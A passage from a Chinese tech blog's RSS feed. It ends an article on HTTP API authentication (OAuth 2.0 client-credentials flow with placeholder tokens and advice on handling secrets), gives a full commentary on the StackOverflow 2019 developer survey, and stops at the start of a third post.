会返回如下信息。</p>\n<pre style=\"padding-left: 40px;\">{\n  \"access_token\": \"iJKV1QiLCJhbGciOiJSUzI1NiI\",\n  \"refresh_token\": \"1KaPlrEqdFSBzjqfTGAMxZGU\",\n  \"token_type\": \"bearer\",\n  \"expires\": 3600,\n  \"id_token\": \"eyJ0eXAiOiJKV1QiLCJhbGciO.eyJhdWQiOiIyZDRkM...\"\n}</pre>\n<p style=\"padding-left: 40px;\">其中，</p>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li><code>access_token</code>就是访问请求令牌了</li>\n<li><code>refresh_token</code>用于刷新 <code>access_token</code></li>\n<li><code>id_token</code> 是JWT的token，其中一般会包含用户的OpenID</li>\n</ul>\n</li>\n</ul>\n<p>6）接下来就是用 Access Token 请求用户的资源了。</p>\n<pre style=\"padding-left: 40px;\">GET /v1/user/pictures\nHost: https://example.resource.com\n\nAuthorization: Bearer iJKV1QiLCJhbGciOiJSUzI1NiI</pre>\n<p>&nbsp;</p>\n<h5> Client Credential Flow</h5>\n<p>Client Credential 是一个简化版的API认证，主要是用于认证服务器到服务器的调用，也就是没有用户参与的的认证流程。下面是相关的流程图。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2019/05/client_credentials_flow.png\" alt=\"\" width=\"549\" height=\"414\" /></p>\n<p>这个过程非常简单，本质上就是Client用自己的 <code>client_id</code>和 <code>client_secret</code>向Authorization Server 要一个 Access Token，然后使用Access Token访问相关的资源。</p>\n<p>请求示例</p>\n<pre style=\"padding-left: 40px;\">POST /token HTTP/1.1\nHost: server.example.com\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=client_credentials\n&amp;client_id=czZCaGRSa3F0Mzpn\n&amp;client_secret=7Fjfp0ZBr1KtDRbnfVdmIw</pre>\n<p>返回示例</p>\n<pre style=\"padding-left: 40px;\">{\n  \"access_token\":\"MTQ0NjJkZmQ5OTM2NDE1ZTZjNGZmZjI3\",\n  \"token_type\":\"bearer\",\n  \"expires_in\":3600,\n  \"refresh_token\":\"IwOGYzYTlmM2YxOTQ5MGE3YmNmMDFkNTVk\",\n  \"scope\":\"create\"\n}</pre>\n<p>这里，容我多扯一句，微信公从平台的开发文档中，使用了OAuth 2.0 的 Client Credentials的方式（参看文档“<a href=\"https://mp.weixin.qq.com/wiki?t=resource/res_main&amp;id=mp1421140183\" target=\"_blank\" rel=\"noopener noreferrer\">微信公众号获取access token</a>”），我截了个图如下所谓。我们可以看到，<strong>微信公众号使用的是GET方式的请求，把AppID和AppSecret放在了URL中，虽然这也符合OAuth 2.0，但是并不好，因为大多数网关代理会把整个URI请求记到日志中。我们只要脑补一下腾讯的网关的Access Log，里面的日志一定会有很多的各个用户的AppID和AppSecret……</strong></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large\" src=\"https://coolshell.cn/wp-content/uploads/2019/05/wechat.dev_-1024x876.png\" alt=\"\" width=\"640\" height=\"548\" /></p>\n<p>&nbsp;</p>\n<h4>小结</h4>\n<p>讲了这么多，我们来小结一下（下面的小结可能会有点散）</p>\n<h5>两个术语和三个概念</h5>\n<ul>\n<li>区分两个术语：Authentication（认证） 和 Authorization （授权），前者是证明请求者是身份，就像身份证一样，后者是为了获得权限。身份是区别于别人的证明，而权限是证明自己的特权。Authentication为了证明操作的这个人就是他本人，需要提供密码、短信验证码，甚至人脸识别。Authorization 则是不需要在所有的请求都需要验人，是在经过Authorization后得到一个Token，这就是Authorization。就像护照和签证一样。</li>\n<li>区分三个概念：编码Base64Encode、签名HMAC、加密RSA。Base64编码是为了更好的传输（没有怪异的字符，可以传输二进制文件），等同于明文，HMAC签名是为了信息不能被篡改，RSA加密是为了不让别人看到是什么信息。</li>\n</ul>\n<h5>明白一些初衷</h5>\n<ul>\n<li>使用复杂地HMAC哈希签名方式主要是应对当年没有TLS/SSL加密链路的情况。</li>\n<li>JWT把 <code>uid</code> 放在 Token中目的是为了去掉状态，但不能让用户修改，所以需要签名。</li>\n<li>OAuth 1.0区分了两个事，一个是第三方的Client，一个是真正的用户，其先拿Request Token，再换Access Token的方法主要是为了把第三方应用和用户区分开来。</li>\n<li>用户的Password是用户自己设置的，复杂度不可控，服务端颁发的Serect会很复杂，但主要目的是为了容易管理，可以随时注销掉。</li>\n<li>OAuth 协议有比所有认证协议有更为灵活完善的配置，如果使用AppID/AppSecret签名的方式，又需要做到可以有不同的权限和可以随时注销，那么你得开发一个像AWS的IAM这样的账号和密钥对管理的系统。</li>\n</ul>\n<h5>相关的注意事项</h5>\n<ul>\n<li>无论是哪种方式，我们都应该遵循HTTP的规范，把认证信息放在 <code>Authorization</code> HTTP 头中。</li>\n<li>不要使用GET的方式在URL中放入secret之类的东西，因为很多proxy或gateway的软件会把整个URL记在Access Log文件中。</li>\n<li>密钥Secret相当于Password，但他是用来加密的，最好不要在网络上传输，如果要传输，最好使用TLS/SSL的安全链路。</li>\n<li>HMAC中无论是MD5还是SHA1/SHA2，其计算都是非常快的，RSA的非对称加密是比较耗CPU的，尤其是要加密的字符串很长的时候。</li>\n<li>最好不要在程序中hard code 你的 Secret，因为在github上有很多黑客的软件在监视各种Secret，千万小心！这类的东西应该放在你的配置系统或是部署系统中，在程序启动时设置在配置文件或是环境变量中。</li>\n<li>使用AppID/AppSecret，还是使用OAuth1.0a，还是OAuth2.0，还是使用JWT，我个人建议使用TLS/SSL下的OAuth 2.0。</li>\n<li>密钥是需要被管理的，管理就是可以新增可以撤销，可以设置账户和相关的权限。最好密钥是可以被自动更换的。</li>\n<li>认证授权服务器（Authorization Server）和应用服务器（App Server）最好分开。</li>\n</ul>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" alt=\"网络数字身份认证术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_title\">网络数字身份认证术</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png\" alt=\"从“黑掉Github”学Web安全开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_title\">从“黑掉Github”学Web安全开发</a></li><li ><a href=\"https://coolshell.cn/articles/21003.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-150x150.png\" alt=\"计时攻击 Timing Attacks\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21003.html\" class=\"wp_rp_title\">计时攻击 Timing Attacks</a></li><li ><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-150x150.jpg\" alt=\"从 MongoDB “赎金事件” 看安全问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_title\">从 MongoDB “赎金事件” 看安全问题</a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/19395.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>70</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>StackOverflow 2019 程序员调查</title>\n\t\t<link>https://coolshell.cn/articles/19307.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/19307.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 21 Apr 2019 04:29:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=19307</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前些天，StackOverflow 发布了 2019年的年度程序员调查，这个调查报查有90000名程序员参与，这份调度报告平均花了20分钟，可见，这份报告有很多...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/19307.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/19307.html\">StackOverflow 2019 程序员调查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" class=\"alignright \" src=\"https://coolshell.cn/wp-content/uploads/2019/04/2019-Dev-Survey-Blog-360x200.png\" alt=\"\" />前些天，StackOverflow 发布了 <a href=\"https://insights.stackoverflow.com/survey/2019\" target=\"_blank\" rel=\"noopener noreferrer\">2019年的年度程序员调查</a>，这个调查报查有90000名程序员参与，这份调度报告平均花了20分钟，可见，这份报告有很多的问题，也是很详细的。这份报告有一些地方，让我有了一些思考。</p>\n<p>首先，我们先来看一下之份报告的 Key Results：</p>\n<ul>\n<li>Python 成为了过去一年中成长最快的语言，把Java挤到了第二位，排在后面的是Rust语言。</li>\n<li>有半数以上的被访者在是在16岁写下自己的第一行代码。</li>\n<li><a href=\"https://stackoverflow.com/jobs/devops-jobs\" target=\"_blank\" rel=\"noopener noreferrer\">DevOps Specialists</a> 和 Site Reliability Engineers 是程序员中最有经验，技术最牛，薪资最好的职位。（这对应于国内的——系统架构师）</li>\n<li>在几个头部的程序员大国中，中国的程序员最乐观的，他们相信在今天出生的人会有比他们父母更好的人生。对于欧洲的程序员来说，比较法国和德国的程序员，他们对未来并不太乐观。</li>\n<li>对于最影响程序员生产力的事，不同的程序员有不同的想法。</li>\n</ul>\n<p><span id=\"more-19307\"></span></p>\n<h4 id=\"toc_1\">第一部分，Developer Profile</h4>\n<p>在第一部分中，我们可以看到，中国程序员参与这个调查的并不多，程序员主要集中在美国、欧洲、印度这三个地方。所以，这份报告更偏国际上一些。这对于我们中国程序员也有很大的帮助，因为一方面可以看到世界发展的趋势，另一方面也可以了解我们和世界有什么不一样。</p>\n<p>对于技术职业来说，整个世界的程序员开始趋于全栈和后端，有51.9%的人是全栈，50%的人是后端，32.8%的人是前端……在这些人中，很多程序员都选了多项，中位数是3项，最常见是前端、后端和全栈全选的。然后，接下来是选两项的，选两项目的包括：数据库管理员和系统管理员，DevOps Specialist 和 Site Reliablility Engineer， 学术研究者和科学家，设计师和前端工程师。<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-19308 \" src=\"https://coolshell.cn/wp-content/uploads/2019/04/06-01.Developers.Rols_-1024x259.png\" alt=\"\" width=\"648\" height=\"137\" /></p>\n<p>从这些数据中我们可以看见：<strong>前后端的界限越来越不明显，设计师和前端的界限也开始模糊。这应该说明，工具和框架的成熟，让后端程序员和设计师也可以进入到前端工程师的领域，或是前端工程师开始进入后端和设计的领域</strong>。总之，复合型人才越来越越成为主流，而前后端也趋于一个相互融合的态势。</p>\n<p>在接下来的图表中，我们可以看到有80%以上的人是把编程当成自己的爱好（包括相关的女性）。<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter \" src=\"https://coolshell.cn/wp-content/uploads/2019/04/06-02.Coding.as_.a.Hobby_.png\" alt=\"\" width=\"410\" height=\"71\" /></p>\n<p>真是应了那句话——“Programmers who don’t code in their spare time for fun will never become as good as those that do”，是的，如果你对编程没有感到一种快乐，没有在你空闲的时候去以一种的兴趣爱好方式去面对，那么，无论是编程，还是运动，还是去旅游，都不会有太多成效的。</p>\n<p>在接下来的编程经验上，有两组如下的数据：</p>\n<table>\n<thead>\n<tr>\n<th>学习编程的年限</th>\n<th>编程的年限</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-19310 \" src=\"https://coolshell.cn/wp-content/uploads/2019/04/06-03.Years_.Since_.Learning.to_.Code_.png\" alt=\"\" width=\"376\" height=\"272\" /></td>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-19311 \" src=\"https://coolshell.cn/wp-content/uploads/2019/04/06-04.Years_.Coding.Professionally.png\" alt=\"\" width=\"372\" height=\"242\" /></td>\n</tr>\n</tbody>\n</table>\n<p>我们可以看到无论是学习还是编程，随着时间的拉长，其人数占比越来越少。</p>\n<p>下面我们再来看一个年龄图：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-19312 \" src=\"https://coolshell.cn/wp-content/uploads/2019/04/06-05.Age_-1024x710.png\" alt=\"\" width=\"499\" height=\"270\" /></p>\n<p>调查报告从20岁开始每隔5年划分一个年龄段，我们不难发现从25-29岁开始每个年龄段都比前一个年龄段人数急剧减少大约30-50%，比如25-29年龄段占总人数27.6%，而30-34则只有19.3%。以此类推，到60岁以上，就只剩1%。可以看出5年是大多数程序员的转型周期。这是合理的，因为5年时间足够一个人积累足够的经验技能为职业转型做准备。</p>\n<p>我们也可以看到50岁以上的程序员只有4.2%，大约是参与调查人员的300多人，如果这些人20岁左右参加工作，那么说明他们在1990左右就开始写代码，事实上那个时间点别说是程序员了，连电脑用户都不多。<strong>电脑和互联网真正暴发的时间还是在1995年 &#8211; 2000年之间，不过，那个时间点程序员的总体人数也不多，而行业越来越火才会导致大量的人进入到这个行业中，这个转换过程基本上去需要3-5年，也就是从2000年后才开始有大量的人拥入程序员这个行业，程序员的人数在过去30年间也是呈增涨态势的，所以，我个人认为，所谓的“众多老程序员”的比例会被2005年以后大量拥入程序员行业的年青人所“稀释”。所以，上图的比例不能完全说明程序员是个青春饭</strong>。</p>\n<p>但是，我们还是要正视老牌资深的程序员越来越少的这个事实，在这份报告第三部分中说了一些和程序员职业生涯相关的调查，如下：</p>\n<ul>\n<li><strong>在被问到有多少人对自己的职业满意的时</strong>。有40%的人觉得很满意，而有34.3%的人觉得一般满意，有10%的人说不清，还有15%的人是不满意的。可以看到有不少人是对这个职业生涯是有想法的。</li>\n<li><strong>在被问到有多少人想转管理而可以挣得更多时</strong>。有30%的人是说想转的，有51%的人是明确不转的，还有20%的人是说不知道。可见，想转管理的人最多可能会有一半的人。</li>\n<li><strong>在被问到有多少人想转管理时</strong>。有1/3的人是明确不想转的，而有1/4的人是明确是想转，而有36%的人则是不说，观望中。可见，的确是有很多想想转管理的。</li>\n</ul>\n<p><strong>我们可以看到，程序员中并不是所有的人都是可以坚持这么长时间的，这也挺正常的，对很大一部分人来说，对这个职业是有或多或少的不满意的，也有一部分人可能会随着技术的更新被淘汰，还有另外很大一部分人是想转管理的。所以，能够长时间地跟上形势长时间地喜欢写代码，并且对程序员这个的职业长期满意，不想转管理的，的确是为随时年龄的越大也越来越少</strong>。</p>\n<p><strong>但我们完全可以看出来，程序员的主力军在20-40岁这个区间，而30岁左右的程序员是年富力强（经验和能力都很好）的黄金时间</strong>。</p>\n<p>老程序员在国外似乎不会存在多大的问题，但在国内会有一些问题，所以，对于像我一样喜欢写代码、打算长久做程序员的兄弟，这里分享一些相关的经验。</p>\n<ol>\n<li><strong>持续高效地学习</strong>。软件行业的新技术层出不穷，旧的技术淘汰很快，所以我们更要多多学习基础技术和原理，那些都是很难改变的，并且基础扎实了后，学习新的技术也才会更快速。其间我们也不要乱学新技术，我们要关注那些有潜力的技术，也就看准了再学（参看酷壳的《<a href=\"https://coolshell.cn/articles/18190.html\">Go语言、Docker和新技术</a>》）。注意，而是跟上大时代已经比较不容易，引领时代的人还是少数，所以，还是要更为高效地学习。</li>\n<li><strong>积极面对他人的不解</strong>。 很多时候，总是会有人说：“到了你这个年纪怎么还在做程序员？”，这句话感觉就是对程序员这个职业的一种羞辱，社会的价值观感觉容不下大龄程序员。这个时候，我一般会跟他们解释到，我40来岁了，我觉得自己的状态还很好，工作完成没什么问题，偶尔加班到凌晨也行，新知识和技术我学起来不比年轻人慢，我在这个年纪有的经验比他们都多，而且，我这个年纪还在写代码，说明我真的喜欢这个事，<strong>像我这样的人能够长时间坚持做一个职业的人这个世界已经不多了，你们应该珍惜……</strong></li>\n<li><strong>找到自己的定位</strong>。我们需要做好职业规划、财务和心理方面的准备。40岁的程序员，所能竞争的一定是自己的认识和经验，所以，40岁以后如果你还是很喜欢这一行业，你的社会阅历和经历以及对这个社会的理解，可以让你做一些有创新的事，除此之外，你还可以做一个教练、老师、咨询、专家……，用你的经验和能力帮助下一代和一些中小型的公司，这不但是他们的刚需，同时也会让重新焕发的。</li>\n</ol>\n<h4 id=\"toc_2\">第二部分，技术</h4>\n<p>首先，在这部分，主要是了解一些技术，这部分的技术可以给于程序员们一些指导。</p>\n<table>\n<thead>\n<tr>\n<th>最流行的语言</th>\n<th>最热门的语言</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-19313\" src=\"https://coolshell.cn/wp-content/uploads/2019/04/06-06.Popular.Languages-669x1024.png\" alt=\"\" width=\"377\" height=\"709\" /></td>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-19314\" src=\"https://coolshell.cn/wp-content/uploads/2019/04/06-07.Loved_.Languages-679x1024.png\" alt=\"\" width=\"367\" height=\"743\" /></td>\n</tr>\n</tbody>\n</table>\n<p>我们可以看到，</p>\n<ul>\n<li>Javascript/HTML/CSS是很多人都会用到的，后面的是SQL，这个也没什么问题，无论前后端的人，或多或少都会要用到的，这些技术感觉已经成为了基础必会的技术了，就像数中的加减乘除一样。</li>\n<li>Python/Java/Shell 是后端开发主流语言的前三强，Python在今年超过了Java。这里让我比较好奇的是居然还有很多人用Shell，这估计跟运维有关，所以，Python的热可能也是通过运维和大数据相关。</li>\n<li>流行语言后，第二梯队的是 C# / PHP / C++ / TypeScript / C ，接下来的是： Ruby / Go / Swift / Kotlin /WebAssembly / Rust&#8230; 。但在最被程序员喜欢的编程语言中：Rust / Python / TypeScript / Koltin / WebAssembly / Swift / Go&#8230; 都是排在前几名的。<strong>程序语言每隔一段时间就会整出一些新的语言来，我们一定要明白新出来的东西主要是为了解决什么样的问题，不然很容易迷失。</strong></li>\n<li>在后面还有一个编程语言的薪资图，我们可以看到，在上面被提过的这些个编程语言中，<strong>Go语言的薪资是最高的（这可能是因为Go语言写关键的系统级的中件间——因为Go语言正在成为云计算的第一编程语言）</strong>，然后是Scala、Ruby、WebAssembly、Rust、Erlang、Shell、Python、Typescript……</li>\n</ul>\n<p><strong>通过这些个信息，我们可以看出主流技术、有潜力的技术，传统过气技术，以及相关薪资，对我们在选择编程语言上有一定的启示。</strong></p>\n<p>在后面，我们可以看到:</p>\n<ul>\n<li>在 Web 开发框架上，主流使用还是 jQuery, React.js，Angular.js 为最前面的三个前端开发框架。而被程序员所喜欢的则是 React.js，Vue.js，Express, Spring，程序员非常不喜欢 Drupal，jQuery，Ruby on Rails 和Angular.js……</li>\n<li>在其它开发框架/库/工具上，主流是Node.js、.NET、Pandas、Unity 3D、Tensorflow、Ansible、Cordova、Xamarin……而程序员比较喜欢的是.NET、Torch/PyTorch、Flutter、Pandas、Tensorflow、Node.js &#8230;</li>\n<li>在操作系统上，主流使用Linux、Windows、Docker、Android、AWS……，而程序员最喜欢的是Linux、Docker、Kubernetes、Raspberry Pi、AWS、MacOS、iOS……</li>\n<li>在数据库上，MySQL、PostgreSQL、MSSQL、SQLite、MongoDB、Redis、Elasticsearch是比较主流的，而程序员非常喜欢的是，Redis、PostgreSQL、Elasticsearch、Firebase、MongoDB……，程序员比较讨厌的是 Couchbase、Oracle、Cassandra、MySQL。</li>\n</ul>\n<p><strong>从这些个图表中，我们可以看到主流和有潜力的技术是什么，我们可以看到 Windows 的技术并没有过时，感觉似乎都有可能会卷土重来，但是，开源的技术来势凶凶，正在吞食整个软件业，不容小觑，Docker/Kubernetes无论是在主流应用上还是被程序员的喜好上都是非常猛的，而云平台的AWS开始成为标准平台技术……</strong></p>\n<p>接下来的开发工具中，我们可以看到：</p>\n<ul>\n<li>Visual Studio Code 成为了最流行的开发工具。让我没有想到的是跟在后面的是 Notepad++（好久没用这个工具了，我得找回来用用了），而IntelliJ、Vim、Sublime Text排以后面。 Eclipse 和 Atom 动力不足，Emacs 开始变得小众了。</li>\n<li>程序员主要的开发平台还是Windows占了近1/2， MacOS和Linux随后，各占1/4。</li>\n<li>有38%的人使用容器技术做开发，30%的人使用容器做测试，在生产线上使用容器的有26%</li>\n</ul>\n<p><strong>看样子编程开发工具还是Visual Studio 和 IntelliJ的天下，MacOS/Linux正在抢Windows的开发市场</strong></p>\n<p>接下来，StackOverflow给了一个技术圈的图</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2019/04/06-08.Technology.Circle-1024x1024.png\" alt=\"\" width=\"640\" height=\"640\" /></p>\n<p>从上面这个图中，我们可以看以技术的几圈子：</p>\n<ul>\n<li><strong>Microsoft圈</strong> &#8211; Windows、.NET、ASP.NET、C#、Azure、SQL Server</li>\n<li><strong>Java圈</strong> &#8211; Java、Spring</li>\n<li><strong>手机圈</strong> &#8211; Android、 iOS、Kotlin、Swift、Firebase</li>\n<li><strong>前端圈</strong> &#8211; Javascript、React.js、Angular.js、PHP</li>\n<li><strong>大数据圈</strong> &#8211; Python、TensorFlow、Torch/PyTorch</li>\n<li><strong>基础平台圈</strong> &#8211; Linux、Shell、Vim、Docker、Kubernetes、Elasticsearch、Redis……</li>\n<li><strong>其它圈子</strong> &#8211; C/C++/汇编圈子、Ruby圈子、Hadoop/Spark圈子、……</li>\n</ul>\n<p><strong>看到谁的圈子大了吧，圈子大的并不代表技术实力强或是有前途，不过可以代表在那个圈子相关的关联技术，一方面，可以给你一些相关的参考，另一方面，整体可以让你看到全部的目前比较主流的技术。</strong></p>\n<h4 id=\"toc_3\">第三部份 工作</h4>\n<p>在第三部份工作中，我们可以看到如下的一些数据：</p>\n<ul>\n<li>有3/4的程序员是全职的，10%左右的程序员是自由职业，6%左右的程序员是失业的，这个比例在北美、印度和欧洲都差不多。</li>\n<li>有1/3的人在过去一年内换过工作，1/4的人在过去1-2年间换过工作，1/3的人在2-4年换过工作。</li>\n<li>程序员找工作时，影响程序员的几个主要因素是：技术（编程语言、框架和使用的技术）、办公环境和公司文化、灵活的时间和安排、更专业的机会、远程工作……</li>\n<li>影响程序员工作的几大因素是：有干扰的工作环境、开会、要干一些和开发无关的事、人手不够、管理不够、工具不够、通勤时间……</li>\n<li>对于工程质量，有近70%的人有Code Review，而30%的则没有；有60%多的人有Unit Test，而不到40%的没有……</li>\n</ul>\n<p><strong>从工作中我们可以看到，程序员还是比较关心技术和公司文化的，换工作也是这个职业很正常的特性，他们并不喜欢被打扰，希望有足够的时间，而对于工程质量还是很有追求的。</strong></p>\n<p>最后用一张程序员的“<strong>每周工作时间</strong>” 来结束本文！</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter \" src=\"https://coolshell.cn/wp-content/uploads/2019/04/07-09.Hours_.Worked.Per_.Week_-1024x640.png\" alt=\"\" width=\"498\" height=\"280\" /></p>\n<p>祝大家快乐！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19307.html\">StackOverflow 2019 程序员调查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/19307.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>“努力就会成功”</title>\n\t\t<link>https://coolshell.cn/articles/19271.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/19271.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 17 Apr 2019 01:12:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=19271</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>那一年，我加入了某知名公司的某知名部门，在办公室中，我看到了到处都挂着——“努力就会成功”的条幅，这个部门中大多数员工的邮件签名都会有“努力就会成功”，我感到一...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" 